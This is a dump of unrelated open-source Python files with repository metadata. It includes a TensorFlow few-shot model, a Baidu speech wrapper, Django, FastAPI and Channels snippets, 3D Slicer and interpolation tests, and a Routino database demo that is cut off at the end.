from __future__ import (absolute_import, division, print_function, unicode_literals) import numpy as np import tensorflow as tf from fewshot.models.kmeans_utils import compute_logits from fewshot.models.model import Model from fewshot.models.refine_model import RefineModel from fewshot.models.basic_model_VAT import BasicModelVAT from fewshot.models.model_factory import RegisterModel from fewshot.models.nnlib import (concat, weight_variable) from fewshot.utils import logger from fewshot.utils.debug import debug_identity from fewshot.models.SSL_utils import * l2_norm = lambda t: tf.sqrt(tf.reduce_sum(tf.pow(t, 2))) log = logger.get() @RegisterModel("basic-VAT-ENT") class BasicModelVAT_ENT(BasicModelVAT): def get_train_op(self, logits, y_test): loss, train_op = BasicModelVAT.get_train_op(self, logits, y_test) config = self.config ENT_weight = config.ENT_weight VAT_ENT_step_size = config.VAT_ENT_step_size logits = self._unlabel_logits s = tf.shape(logits) s = s[0] p = tf.stop_gradient(self.h_unlabel) affinity_matrix = compute_logits(p, p) - (tf.eye(s, dtype=tf.float32) * 1000.0) # logits = tf.Print(logits, [tf.shape(point_logits)]) ENT_loss = walking_penalty(logits, affinity_matrix) loss += ENT_weight * ENT_loss ENT_opt = tf.train.AdamOptimizer(VAT_ENT_step_size * self.learn_rate, name="Entropy-optimizer") ENT_grads_and_vars = ENT_opt.compute_gradients(loss) train_op = ENT_opt.apply_gradients(ENT_grads_and_vars) for gradient, variable in ENT_grads_and_vars: if gradient is None: gradient = tf.constant(0.0) self.adv_summaries.append(tf.summary.scalar("ENT/gradients/" + variable.name, l2_norm(gradient), family="Grads")) self.adv_summaries.append(tf.summary.histogram("ENT/gradients/" + variable.name, gradient, family="Grads")) self.summaries.append(tf.summary.scalar('entropy loss', ENT_loss)) return loss, train_op

33.824561

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0

null

0

null

0

1

0

1

6fa85d4b0b5bfa6ac386b4e088bb46a5cbd9b94a

614

py

Python

compose.py

luyao777/speech-robot

a00c9ac554b7b7a86af4a57d33acb50bbdc17822

[ "Apache-2.0" ]

null

compose.py

luyao777/speech-robot

a00c9ac554b7b7a86af4a57d33acb50bbdc17822

[ "Apache-2.0" ]

null

compose.py

luyao777/speech-robot

a00c9ac554b7b7a86af4a57d33acb50bbdc17822

[ "Apache-2.0" ]

null

#coding: utf-8 from aip import AipSpeech from config import DefaultConfig as opt class composer(): def __init__(self): pass def compose(self,text ='你好'): #百度后台获取的秘�? APP_ID = opt.baidu_app_id API_KEY = opt.baidu_api_key SECRET_KEY =opt.baidu_secret_key client = AipSpeech(APP_ID, API_KEY, SECRET_KEY) result = client.synthesis(text,'zh',1,{ 'vol':5,}) file_name = 'ans.mp3' if not isinstance(result, dict): with open(file_name, 'wb') as f: f.write(result) return file_name

26.695652

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0.583062

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614

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0.047059

0.064706

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22

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0.352941

0

null

0

null

0

1

0

1

6fa9d472e775eb87721d162cdd4f797206aefbc8

264

py

Python

scripts/makeToast.py

zgrannan/Technical-Theatre-Assistant

8928e5f4f179f75f92035e898d102dd55f32e3f3

[ "MIT" ]

3

2017-01-05T20:02:23.000Z

2017-10-02T19:55:58.000Z

scripts/makeToast.py

zgrannan/Technical-Theatre-Assistant

8928e5f4f179f75f92035e898d102dd55f32e3f3

[ "MIT" ]

1

2016-05-17T20:20:19.000Z

2016-05-17T20:20:28.000Z

scripts/makeToast.py

zgrannan/Technical-Theatre-Assistant

8928e5f4f179f75f92035e898d102dd55f32e3f3

[ "MIT" ]

null

#makes a toast with the given string ID from sys import argv def make_toast (string_id): return "Toast.makeText(getBaseContext(), getString(R.string." + string_id + "), Toast.LENGTH_SHORT).show();" if ( argv[0] == "makeToast.py" ): print make_toast(argv[1])

24

109

0.708333

40

264

4.55

0.7

0.131868

0

0.008811

0.140152

264

10

110

26.4

0.792952

0.143939

0

0.419643

0.263393

0

null

0

0.2

null

0.2

0

null

0

null

0

1

0

1

6fab9608b18da127d6b2008d803781b981e8468d

334

py

Python

crisiscleanup/calls/migrations/0011_merge_20180122_2308.py

CrisisCleanup/wcicp-call-service

0a00e092625e2a48c9807737a4b72e343e1ab0b9

[ "Apache-1.1" ]

null

crisiscleanup/calls/migrations/0011_merge_20180122_2308.py

CrisisCleanup/wcicp-call-service

0a00e092625e2a48c9807737a4b72e343e1ab0b9

[ "Apache-1.1" ]

null

crisiscleanup/calls/migrations/0011_merge_20180122_2308.py

CrisisCleanup/wcicp-call-service

0a00e092625e2a48c9807737a4b72e343e1ab0b9

[ "Apache-1.1" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2018-01-22 23:08 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('calls', '0010_auto_20180119_2117'), ('calls', '0007_auto_20180122_2157'), ] operations = [ ]

19.647059

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41

334

5.097561

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0

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0.215569

334

16

49

20.875

0.610687

0.203593

0

1

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0

1

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0

0.222222

0

0.555556

0

null

0

1

0

null

0

1

6fb000a6fd5b519a73bbb7413dd210206c96960d

370

py

Python

python/geeksforgeeks/arrays/rearrengment/reverse_a_string.py

othonreyes/code_problems

6e65b26120b0b9d6e5ac7342a4d964696b7bd5bf

[ "MIT" ]

null

python/geeksforgeeks/arrays/rearrengment/reverse_a_string.py

othonreyes/code_problems

6e65b26120b0b9d6e5ac7342a4d964696b7bd5bf

[ "MIT" ]

null

python/geeksforgeeks/arrays/rearrengment/reverse_a_string.py

othonreyes/code_problems

6e65b26120b0b9d6e5ac7342a4d964696b7bd5bf

[ "MIT" ]

null

# https://www.geeksforgeeks.org/write-a-program-to-reverse-an-array-or-string/ # Time: O(n) # Space: 1 def reverseByMiddles(arr): n = len(arr) limit = n//2 for i in range(limit): temp = arr[i] arr[i] = arr[(n-1)-i] arr[(n-1)-i] = temp return arr arr = [1,2,3] result = reverseByMiddles(arr) print(result) print(reverseByMiddles(arr = [1,2,3,4]))

18.5

78

0.627027

64

370

3.625

0.53125

0.24569

0.060345

0.051724

0.056034

0

0.036066

0.175676

370

19

79

19.473684

0.72459

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0.083333

false

0

0.166667

0

null

1

0

null

0

1

6fbe42378fbc286f445856d3f64bebf5d1265f7a

1,173

py

Python

app/model.py

hfikry92/fast-api-auth-starter

4d90980da7084961f8f25591aea587509e790f80

[ "MIT" ]

43

2020-12-14T18:19:15.000Z

2022-03-30T05:57:43.000Z

app/model.py

hfikry92/fast-api-auth-starter

4d90980da7084961f8f25591aea587509e790f80

[ "MIT" ]

3

2021-02-19T09:56:35.000Z

2022-03-30T13:26:50.000Z

app/model.py

hfikry92/fast-api-auth-starter

4d90980da7084961f8f25591aea587509e790f80

[ "MIT" ]

16

2020-12-14T02:49:35.000Z

2022-02-15T10:39:39.000Z

from pydantic import BaseModel, Field, EmailStr class PostSchema(BaseModel): id: int = Field(default=None) title: str = Field(...) content: str = Field(...) class Config: schema_extra = { "example": { "title": "Securing FastAPI applications with JWT.", "content": "In this tutorial, you'll learn how to secure your application by enabling authentication using JWT. We'll be using PyJWT to sign, encode and decode JWT tokens...." } } class UserSchema(BaseModel): fullname: str = Field(...) email: EmailStr = Field(...) password: str = Field(...) class Config: schema_extra = { "example": { "fullname": "Abdulazeez Abdulazeez Adeshina", "email": "abdulazeez@x.com", "password": "weakpassword" } } class UserLoginSchema(BaseModel): email: EmailStr = Field(...) password: str = Field(...) class Config: schema_extra = { "example": { "email": "abdulazeez@x.com", "password": "weakpassword" } }

27.27907

191

0.535379

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5.841122

0.53271

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192

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0.117647

0.029412

0

0.441176

0

null

0

null

0

1

0

1

6fc58731a5e67b957a08a7b99ed3506623297e19

301

py

Python

vk_bot/mods/other/counting.py

triangle1984/GLaDOS

39dea7bf8043e791ef079ea1ac6616f95d5b5312

[ "BSD-3-Clause" ]

3

2019-12-12T05:48:34.000Z

2020-12-07T19:23:41.000Z

vk_bot/mods/other/counting.py

anar66/vk-bot

39dea7bf8043e791ef079ea1ac6616f95d5b5312

[ "BSD-3-Clause" ]

1

2019-11-15T14:28:49.000Z

vk_bot/mods/other/counting.py

triangle1984/vk-bot

39dea7bf8043e791ef079ea1ac6616f95d5b5312

[ "BSD-3-Clause" ]

5

2019-11-20T14:20:30.000Z

2022-02-05T10:37:01.000Z

from vk_bot.core.modules.basicplug import BasicPlug import time class Counting(BasicPlug): command = ("отсчет",) doc = "Отсчет от 1 до 3" def main(self): for x in range(3, -1, -1): if x == 0: return self.sendmsg(x) time.sleep(1)

25.083333

51

0.538206

41

301

3.926829

0.707317

0.186335

0

0.035714

0.348837

301

11

52

27.363636

0.785714

0

0.07309

0

1

0.090909

false

0

0.181818

0

0.636364

0

null

0

null

0

1

0

1

6fc63d77d8ed73c401918b676d06084cc00b6c87

954

py

Python

wind-oci-marketplace/setup.py

LaudateCorpus1/wind

d10dbc6baa98acab4927ff2b7a880b4727185582

[ "UPL-1.0", "Apache-2.0" ]

1

2022-02-07T15:56:24.000Z

wind-oci-marketplace/setup.py

LaudateCorpus1/wind

d10dbc6baa98acab4927ff2b7a880b4727185582

[ "UPL-1.0", "Apache-2.0" ]

null

wind-oci-marketplace/setup.py

LaudateCorpus1/wind

d10dbc6baa98acab4927ff2b7a880b4727185582

[ "UPL-1.0", "Apache-2.0" ]

1

2022-02-18T01:23:46.000Z

## Copyright © 2021, Oracle and/or its affiliates. ## Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl. #!/usr/bin/env python from setuptools import setup setup(name='wind-marketplace-library', version="1.0.0", description='Robot Framework test library for OCI Marketplace', long_description='Robot Framework test library for OCI Marketplace', classifiers=[ 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 3.6', 'Framework :: WIND Robot Framework', ], author='arun.poonia@oracle.com', author_email='arun.poonia@oracle.com', packages=['MarketplaceLibrary'], license = "UPL-1.0", install_requires=[ ], extras_require={ 'dev': [ ] }, platforms='any', include_package_data=True, zip_safe=False)

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null

0

null

0

1

0

1

6fc8809070d19daecb0e75b0cf66f5240983ed79

1,392

py

Python

api/views.py

oil-rope/oil-and-rope

6d59c87d4809f120417a90c1624952085486bb06

[ "MIT" ]

8

2019-08-27T20:08:22.000Z

2021-07-23T22:49:47.000Z

api/views.py

oil-rope/oil-and-rope

6d59c87d4809f120417a90c1624952085486bb06

[ "MIT" ]

73

2020-03-11T18:07:29.000Z

2022-03-28T18:07:47.000Z

api/views.py

oil-rope/oil-and-rope

6d59c87d4809f120417a90c1624952085486bb06

[ "MIT" ]

4

2020-02-22T19:44:17.000Z

2022-03-08T09:42:45.000Z

from django.http import JsonResponse from django.shortcuts import reverse from django.urls import NoReverseMatch from django.views import View from rest_framework import __version__ as drf_version from rest_framework.exceptions import ValidationError from rest_framework.permissions import AllowAny from rest_framework.response import Response from rest_framework.viewsets import ViewSet from oilandrope import __version__ class ApiVersionView(View): http_method_names = ['get'] data = { 'version': __version__, 'powered_by': 'Django Rest Framework', 'drf_version': drf_version, } def get(self, request, *args, **kwargs): return JsonResponse(self.data) class URLResolverViewSet(ViewSet): """ Returns URL with given resolver and params. """ permission_classes = [AllowAny] def resolve_url(self, request, *args, **kwargs): data = request.data.copy() if 'resolver' not in data: raise ValidationError() resolver = data.pop('resolver') if isinstance(resolver, list): resolver = resolver[0] extra_params = {} for key, value in data.items(): extra_params[key] = value try: url = reverse(resolver, kwargs=extra_params) except NoReverseMatch: url = '#no-url' return Response({'url': url})

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null

0

null

0

1

0

1

6fdb320f11ce21ba2207772e25516617a4f09f64

310

py

Python

setup.py

Juniper/contrail-server-manager

61a586495b4819904887b5dccb9288b9cf3d2ad5

[ "Apache-2.0" ]

12

2015-07-28T15:31:51.000Z

2019-03-03T23:39:10.000Z

setup.py

Juniper/contrail-server-manager

61a586495b4819904887b5dccb9288b9cf3d2ad5

[ "Apache-2.0" ]

4

2017-01-25T05:24:17.000Z

2019-04-03T00:25:13.000Z

setup.py

Juniper/contrail-server-manager

61a586495b4819904887b5dccb9288b9cf3d2ad5

[ "Apache-2.0" ]

33

2015-01-07T10:01:28.000Z

2020-07-26T08:22:53.000Z

# # Copyright (c) 2013 Juniper Networks, Inc. All rights reserved. # from setuptools import setup import setuptools setup( name='contrail-server-manager', version='0.1dev', packages=setuptools.find_packages(exclude=["*.pyc"]), zip_safe=False, long_description="Server Manager package", )

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0

0.222222

0

null

0

null

0

1

0

1

6fdc3aa267ad82108937792e25090869d2290abd

6,272

py

Python

Modules/Loadable/Markups/Testing/Python/MarkupsSceneViewRestoreTestManyLists.py

TheInterventionCentre/NorMIT-Plan-App

765ed9a5dccc1cc134b65ccabe93fc132baeb2ea

[ "MIT" ]

null

Modules/Loadable/Markups/Testing/Python/MarkupsSceneViewRestoreTestManyLists.py

TheInterventionCentre/NorMIT-Plan-App

765ed9a5dccc1cc134b65ccabe93fc132baeb2ea

[ "MIT" ]

null

Modules/Loadable/Markups/Testing/Python/MarkupsSceneViewRestoreTestManyLists.py

TheInterventionCentre/NorMIT-Plan-App

765ed9a5dccc1cc134b65ccabe93fc132baeb2ea

[ "MIT" ]

null

# Test restoring a scene with multiple lists with different number # of fiducials # first fiducial list displayNode1 = slicer.vtkMRMLMarkupsDisplayNode() slicer.mrmlScene.AddNode(displayNode1) fidNode1 = slicer.vtkMRMLMarkupsFiducialNode() fidNode1.SetName("FidNode1") slicer.mrmlScene.AddNode(fidNode1) fidNode1.SetAndObserveDisplayNodeID(displayNode1.GetID()) coords = [0.0, 0.0, 0.0] numFidsInList1 = 5 for i in range(numFidsInList1): fidNode1.AddFiducialFromArray(coords) coords[0] += 1.0 coords[1] += 2.0 coords[2] += 1.0 # second fiducial list displayNode2 = slicer.vtkMRMLMarkupsDisplayNode() slicer.mrmlScene.AddNode(displayNode2) fidNode2 = slicer.vtkMRMLMarkupsFiducialNode() fidNode2.SetName("FidNode2") slicer.mrmlScene.AddNode(fidNode2) fidNode2.SetAndObserveDisplayNodeID(displayNode2.GetID()) numFidsInList2 = 10 for i in range(numFidsInList2): fidNode2.AddFiducialFromArray(coords) coords[0] += 1.0 coords[1] += 1.0 coords[2] += 3.0 sv = slicer.mrmlScene.AddNode(slicer.vtkMRMLSceneViewNode()) numFidNodesBeforeStore = slicer.mrmlScene.GetNumberOfNodesByClass('vtkMRMLMarkupsFiducialNode') sv.StoreScene() # add a third list that will get removed on restore # second fiducial list displayNode3 = slicer.vtkMRMLMarkupsDisplayNode() slicer.mrmlScene.AddNode(displayNode3) fidNode3 = slicer.vtkMRMLMarkupsFiducialNode() fidNode3.SetName("FidNode3") slicer.mrmlScene.AddNode(fidNode3) fidNode3.SetAndObserveDisplayNodeID(displayNode3.GetID()) numFidsInList3 = 2 for i in range(numFidsInList3): fidNode3.AddFiducialFromArray(coords) coords[0] += 1.0 coords[1] += 2.0 coords[2] += 3.0 sv.RestoreScene() numFidNodesAfterRestore = slicer.mrmlScene.GetNumberOfNodesByClass('vtkMRMLMarkupsFiducialNode') if numFidNodesAfterRestore != numFidNodesBeforeStore: print "After restoring the scene, expected ", numFidNodesBeforeStore, " fiducial nodes, but have ", numFidNodesAfterRestore exceptionMessage = "After restoring the scene, expected " + str(numFidNodesBeforeStore) + " fiducial nodes, but have " + str(numFidNodesAfterRestore) raise Exception(exceptionMessage) #fid1AfterRestore = slicer.mrmlScene.GetNodeByID("vtkMRMLMarkupsFiducialNode1") fid1AfterRestore = slicer.mrmlScene.GetFirstNodeByName("FidNode1") numFidsInList1AfterRestore = fid1AfterRestore.GetNumberOfMarkups() print "After restore, list with name FidNode1 has id ", fid1AfterRestore.GetID(), " and num fids = ", numFidsInList1AfterRestore if numFidsInList1AfterRestore != numFidsInList1: exceptionMessage = "After restoring list 1, id = " + fid1AfterRestore.GetID() exceptionMessage += ", expected " + str(numFidsInList1) + " but got " exceptionMessage += str(numFidsInList1AfterRestore) raise Exception(exceptionMessage) # fid2AfterRestore = slicer.mrmlScene.GetNodeByID("vtkMRMLMarkupsFiducialNode2") fid2AfterRestore = slicer.mrmlScene.GetFirstNodeByName("FidNode2") numFidsInList2AfterRestore = fid2AfterRestore.GetNumberOfMarkups() print "After restore, list with name FidNode2 has id ", fid2AfterRestore.GetID(), " and num fids = ", numFidsInList2AfterRestore if numFidsInList2AfterRestore != numFidsInList2: exceptionMessage = "After restoring list 2, id = " + fid2AfterRestore.GetID() exceptionMessage += ", expected " + str(numFidsInList2) + " but got " exceptionMessage += str(numFidsInList2AfterRestore) raise Exception(exceptionMessage) # check the displayable manager for the right number of widgets/seeds lm = slicer.app.layoutManager() td = lm.threeDWidget(0) ms = vtk.vtkCollection() td.getDisplayableManagers(ms) fidManagerIndex = -1 for i in range(ms.GetNumberOfItems()): m = ms.GetItemAsObject(i) if m.GetClassName() == "vtkMRMLMarkupsFiducialDisplayableManager3D": fidManagerIndex = i print m.GetClassName(), fidManagerIndex if fidManagerIndex == -1: exceptionMessage = "Failed to find markups fiducial displayable manager 3d!" raise Exception(exceptionMessage) mfm = ms.GetItemAsObject(fidManagerIndex) h = mfm.GetHelper() print 'Helper = ',h seedWidget1 = h.GetWidget(fid1AfterRestore) rep1 = seedWidget1.GetRepresentation() print "Seed widget 1 has number of seeds = ",rep1.GetNumberOfSeeds() if rep1.GetNumberOfSeeds() != numFidsInList1AfterRestore: exceptionMessage = "After restoring list 1, expected seed widget to have " exceptionMessage += str(numFidsInList1AfterRestore) + " seeds, but it has " exceptionMessage += str(rep1.GetNumberOfSeeds()) raise Exception(exceptionMessage) # check positions for s in range(numFidsInList1AfterRestore): seed = seedWidget1.GetSeed(s) handleRep = seed.GetHandleRepresentation() worldPos = handleRep.GetWorldPosition() print "seed ",s," world position = ",worldPos fidPos = [0.0,0.0,0.0] fid1AfterRestore.GetNthFiducialPosition(s,fidPos) xdiff = fidPos[0] - worldPos[0] ydiff = fidPos[1] - worldPos[1] zdiff = fidPos[2] - worldPos[2] diffTotal = xdiff + ydiff + zdiff if diffTotal > 0.1: exceptionMessage = "List1: Difference between seed position " + str(s) exceptionMessage += " and fiducial position totals = " + str(diffTotal) raise Exception(exceptionMessage) seedWidget2 = h.GetWidget(fid2AfterRestore) rep2 = seedWidget2.GetRepresentation() print "Seed widget 2 has number of seeds = ",rep2.GetNumberOfSeeds() if rep2.GetNumberOfSeeds() != numFidsInList2AfterRestore: exceptionMessage = "After restoring fid list 2, expected seed widget to have " exceptionMessage += str(numFidsInList2AfterRestore) + " seeds, but it has " exceptionMessage += str(rep2.GetNumberOfSeeds()) raise Exception(exceptionMessage) # check positions for s in range(numFidsInList2AfterRestore): seed = seedWidget2.GetSeed(s) handleRep = seed.GetHandleRepresentation() worldPos = handleRep.GetWorldPosition() print "seed ",s," world position = ",worldPos fidPos = [0.0,0.0,0.0] fid2AfterRestore.GetNthFiducialPosition(s,fidPos) xdiff = fidPos[0] - worldPos[0] ydiff = fidPos[1] - worldPos[1] zdiff = fidPos[2] - worldPos[2] diffTotal = xdiff + ydiff + zdiff if diffTotal > 0.1: exceptionMessage = "List2: Difference between seed position " + str(s) exceptionMessage += " and fiducial position totals = " + str(diffTotal) raise Exception(exceptionMessage) ms.RemoveAllItems()

37.333333

151

0.772162

636

6,272

7.61478

0.234277

0.006195

0.007433

0.348338

0.271319

0.253562

0.216395

0.207722

0

0.029712

0.125319

6,272

167

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0.853081

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0

0.28

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0.164287

0.016171

0

null

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0

null

0

null

0

1

0

1

6fdd8bc73e2b49aa962aeebacd2ae774e4162d17

1,013

py

Python

segmentfault/apps/msg/consumer.py

Yookyiss/segmentfault

8fb7890c8b650ac34541a8fb14c3cd9bef98d120

[ "MIT" ]

null

segmentfault/apps/msg/consumer.py

Yookyiss/segmentfault

8fb7890c8b650ac34541a8fb14c3cd9bef98d120

[ "MIT" ]

12

2020-02-12T01:14:42.000Z

2022-03-11T23:54:43.000Z

segmentfault/apps/msg/consumer.py

Yookyiss/segmentfault

8fb7890c8b650ac34541a8fb14c3cd9bef98d120

[ "MIT" ]

null

# -*- coding:utf-8 -*- # @Time : 2019/7/21 12:35 PM # @Author : __wutonghe__ # docs https://channels.readthedocs.io/en/latest/tutorial/part_3.html#rewrite-the-consumer-to-be-asynchronous from channels.generic.websocket import AsyncWebsocketConsumer import json class MessageConsumer(AsyncWebsocketConsumer): """ 私信websocket,采用异步通信来增加并发 """ async def connect(self): """当 websocket 一链接上以后触发该函数""" if self.scope['user'].is_anonymous: await self.close() else: await self.channel_layer.group_add(self.scope['user'].username + '-message',self.channel_name) # 创建聊天室 await self.accept() async def receive(self, text_data=None, bytes_data=None): """将答复交回给websocket""" await self.send(text_data=json.dumps(text_data)) # 将消息发送给前端 async def disconnect(self, code): """断开链接时触发该函数""" await self.channel_layer.group_discard(self.scope['user'].username + '-message',self.channel_name) # 将该链接移出聊天室

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119

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0

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0.197433

1,013

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true

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0

null

0

null

0

1

0

1

6fe090a4e22c0963ebcb0f7db477cda0fa848e0e

2,618

py

Python

tests/utils/test_interpolator.py

JelleAalbers/hypney

3e38e21743fc9babe0ed47af299d08242a9b6d32

[ "MIT" ]

null

tests/utils/test_interpolator.py

JelleAalbers/hypney

3e38e21743fc9babe0ed47af299d08242a9b6d32

[ "MIT" ]

null

tests/utils/test_interpolator.py

JelleAalbers/hypney

3e38e21743fc9babe0ed47af299d08242a9b6d32

[ "MIT" ]

null

import eagerpy as ep import numpy as np from scipy.interpolate import RegularGridInterpolator import hypney tl = ep.numpy def test_regular_grid_interpolator(): """Adapted from https://github.com/sbarratt/torch_interpolations/blob/master/tests/test_grid_interpolator.py """ points = [tl.arange(-0.5, 2.5, 0.1) * 1.0, tl.arange(-0.5, 2.5, 0.2) * 1.0] values = ( hypney.utils.eagerpy.sin(points[0])[:, None] + 2 * hypney.utils.eagerpy.cos(points[1])[None, :] + hypney.utils.eagerpy.sin(5 * points[0][:, None] @ points[1][None, :]) ) X, Y = ep.meshgrid(tl.arange(-0.5, 2, 0.1), tl.arange(-0.5, 2, 0.1)) points_to_interp = ep.stack([X.flatten(), Y.flatten()]).T gi = hypney.utils.interpolation.RegularGridInterpolator(points, values) fx = gi(points_to_interp) rgi = RegularGridInterpolator( [p.numpy() for p in points], [x.numpy() for x in values], bounds_error=False ) rfx = rgi(points_to_interp.numpy()) np.testing.assert_allclose(rfx, fx.numpy(), atol=1e-6) # TODO: port derivative test to eagerpy # note that points_to_interp has to be transposed # # def test_regular_grid_interpolator_derivative(): # points = [torch.arange(-.5, 2.5, .5) * 1., torch.arange(-.5, 2.5, .5) * 1.] # values = torch.sin(points[0])[:, None] + 2 * torch.cos(points[1])[None, :] + torch.sin(5 * points[0][:, None] @ points[1][None, :]) # values.requires_grad_(True) # # X, Y = np.meshgrid(np.arange(-.5, 2, .19), np.arange(-.5, 2, .19)) # points_to_interp = [torch.from_numpy( # X.flatten()).float(), torch.from_numpy(Y.flatten()).float()] # # def f(values): # return torch_interpolations.RegularGridInterpolator( # points, values)(points_to_interp) # # torch.autograd.gradcheck(f, (values,), eps=1e-5, atol=1e-1, rtol=1e-1) def test_interpolator_builder(): itp = hypney.utils.interpolation.InterpolatorBuilder([(-1, 0, 1)]) def scalar_f(z): return z[0] z = ep.astensor(np.array([1, 0, -1, 0, 1, 1, -1])) scalar_itp = itp.make_interpolator(scalar_f) np.testing.assert_array_equal(scalar_itp(z).numpy(), z.numpy()) def matrix_f(z): return ep.astensor(np.ones((2, 2)) * z[0]) matrix_itp = itp.make_interpolator(matrix_f) np.testing.assert_array_equal( matrix_itp(z).numpy(), z[:, None, None].numpy() * np.ones((1, 2, 2)) ) # What happened here? Does the test not make sense or did the API change? # np.testing.assert_array_equal( # matrix_itp(ep.numpy.array([0, 0, 0])).numpy(), # np.ones((2, 2)))

33.564103

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null

0

null

0

1

0

1

6fe12a816ae34998a3fcf2329f909ed39bda660d

8,451

py

Python

python/database.py

bvmeggelen/routino

b6bcc47be6ba4a90353a5b140ca9996aaa17d2b8

[ "X11", "MIT" ]

1

2016-02-12T20:26:31.000Z

python/database.py

bvmeggelen/routino

b6bcc47be6ba4a90353a5b140ca9996aaa17d2b8

[ "X11", "MIT" ]

2

2019-01-16T10:00:19.000Z

2019-02-03T10:53:32.000Z

python/database.py

bvmeggelen/routino

b6bcc47be6ba4a90353a5b140ca9996aaa17d2b8

[ "X11", "MIT" ]

null

#!/usr/bin/python3 ########################################## # Routino database access from Python. # # Part of the Routino routing software. ########################################## # This file Copyright 2018 Andrew M. Bishop # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. ########################################## import routino.database # Database, access all attributes database = routino.database.LoadDatabase("../../src/test/fat", "turns") if database is None: database = routino.database.LoadDatabase("../src/test/fat", "turns") if database is None: print("Failed to load database") exit(1) print(database) database_attrs = ['nnodes', 'nsegments', 'nways', 'nrelations'] for attr in database_attrs: print(" Attribute: " + attr + " =", getattr(database, attr)) print("") # A single node, access all attributes and all functions node=database.GetNode(0) print("1st node =", node) node_attrs = ['id', 'firstsegment', 'latitude', 'longitude', 'allow', 'flags'] node_infos = ['', '', 'degrees', 'degrees', '[note 1]', '[note 2]'] for attr,info in zip(node_attrs,node_infos): print(" Attribute: " + attr + " =", getattr(node, attr), info) segments = node.Segments() print(" Function: " + "Segments()" + " = [" + ", ".join([str(segments[x]) for x in range(len(segments))]) + "]") print("") # A single segment, access all attributes and all functions segment=database.GetSegment(0) print("1st segment =", segment) segment_attrs = ['id', 'node1', 'node2', 'next2', 'way', 'distance', 'flags'] segment_infos = ['', '', '', '', '', 'km', '[note 3]'] for attr,info in zip(segment_attrs,segment_infos): print(" Attribute: " + attr + " =", getattr(segment, attr), info) print(" Function: " + "Node1()" + " = " + str(segment.Node1())) print(" Function: " + "Node2()" + " = " + str(segment.Node2())) print(" Function: " + "Way()" + " = " + str(segment.Way())) print("") # A single way, access all attributes and all functions way=database.GetWay(0) print("1st way =", way) way_attrs = ['id', 'name', 'allow', 'type', 'props', 'speed', 'weight', 'height', 'width', 'length'] way_infos = ['', '', '[note 1]', '[note 4]', '[note 5]', 'km/hr [note 6]', 'tonnes [note 6]', 'metres [note 6]', 'metres [note 6]', 'metres [note 6]'] for attr,info in zip(way_attrs,way_infos): print(" Attribute: " + attr + " =", getattr(way, attr), info) print("") # A single relation, access all attributes and all functions relation=database.GetRelation(0) print("1st relation =", relation) relation_attrs = ['id', 'from_seg', 'via_node', 'to_seg', 'from_way', 'to_way', 'from_node', 'to_node', 'except_transport'] relation_infos = ['', '', '', '', '', '', '', '', '[note 7]'] for attr,info in zip(relation_attrs,relation_infos): print(" Attribute: " + attr + " =", getattr(relation, attr), info) print(" Function: " + "FromSegment()" + " = " + str(relation.FromSegment())) print(" Function: " + "ViaNode()" + " = " + str(relation.ViaNode())) print(" Function: " + "ToSegment()" + " = " + str(relation.ToSegment())) print(" Function: " + "FromWay()" + " = " + str(relation.FromWay())) print(" Function: " + "ToWay()" + " = " + str(relation.ToWay())) print(" Function: " + "FromNode()" + " = " + str(relation.FromNode())) print(" Function: " + "ToNode()" + " = " + str(relation.ToNode())) print("") # The list of nodes as a list and an iterable (just the first 4) nodes=database.Nodes() print("len(database.Nodes()) = " + str(len(nodes))) print("database.Nodes() = [" + ", ".join([str(nodes[x]) for x in range(4)]) + ", ...]") for node in nodes: if node.id == 4: break print(node) print("") # The list of segments as a list and an iterable (just the first 4) segments=database.Segments() print("len(database.Segments()) = " + str(len(segments))) print("database.Segments() = [" + ", ".join([str(segments[x]) for x in range(4)]) + ", ...]") for segment in segments: if segment.id == 4: break print(segment) print("") # The list of ways as a list and an iterable (just the first 4) ways=database.Ways() print("len(database.Ways()) = " + str(len(ways))) print("database.Ways() = [" + ", ".join([str(ways[x]) for x in range(4)]) + ", ...]") for way in ways: if way.id == 4: break print(way) print("") # The list of relations as a list and an iterable (just the first 4) relations=database.Relations() print("len(database.Relations()) = " + str(len(relations))) print("database.Relations() = [" + ", ".join([str(relations[x]) for x in range(4)]) + ", ...]") for relation in relations: if relation.id == 4: break print(relation) print("") # Enumerated lists transports_enum = ["Transports_None", "Transports_Foot", "Transports_Horse", "Transports_Wheelchair", "Transports_Bicycle", "Transports_Moped", "Transports_Motorcycle", "Transports_Motorcar", "Transports_Goods", "Transports_HGV", "Transports_PSV", "Transports_ALL"] nodeflags_enum = ["Nodeflag_Super", "Nodeflag_U_Turn", "Nodeflag_Mini_Roundabout", "Nodeflag_Turn_Restrict", "Nodeflag_Turn_Restrict2"] segmentflags_enum = ["Segmentflag_Area", "Segmentflag_Oneway_1to2", "Segmentflag_Oneway_2to1", "Segmentflag_Super", "Segmentflag_Normal"] properties_enum = ["Properties_None", "Properties_Paved", "Properties_Multilane", "Properties_Bridge", "Properties_Tunnel", "Properties_FootRoute", "Properties_BicycleRoute", "Properties_ALL"] highway_enum = ["Highway_Motorway", "Highway_Trunk", "Highway_Primary", "Highway_Secondary", "Highway_Tertiary", "Highway_Unclassified", "Highway_Residential", "Highway_Service", "Highway_Track", "Highway_Cycleway", "Highway_Path", "Highway_Steps", "Highway_Ferry", "Highway_Count", "Highway_CycleBothWays", "Highway_OneWay", "Highway_Roundabout", "Highway_Area"] def print_enum(list): for item in list: print(" routino.database."+item) print("Note 1: The Node's and Way's 'allow' parameter can be the combination of these enumerated values:") print_enum(transports_enum) print("") print("Note 2: The Node's 'flags' parameter can be the combination of these enumerated values:") print_enum(nodeflags_enum) print("") print("Note 3: The Segment's 'flags' parameter can be the combination of these enumerated values:") print_enum(segmentflags_enum) print("") print("Note 4: The Way's 'type' parameter can be one the combination of these enumerated values:") print_enum(highway_enum) print("") print("Note 5: The Way's 'props' parameter can be the combination of these enumerated values:") print_enum(properties_enum) print("") print("Note 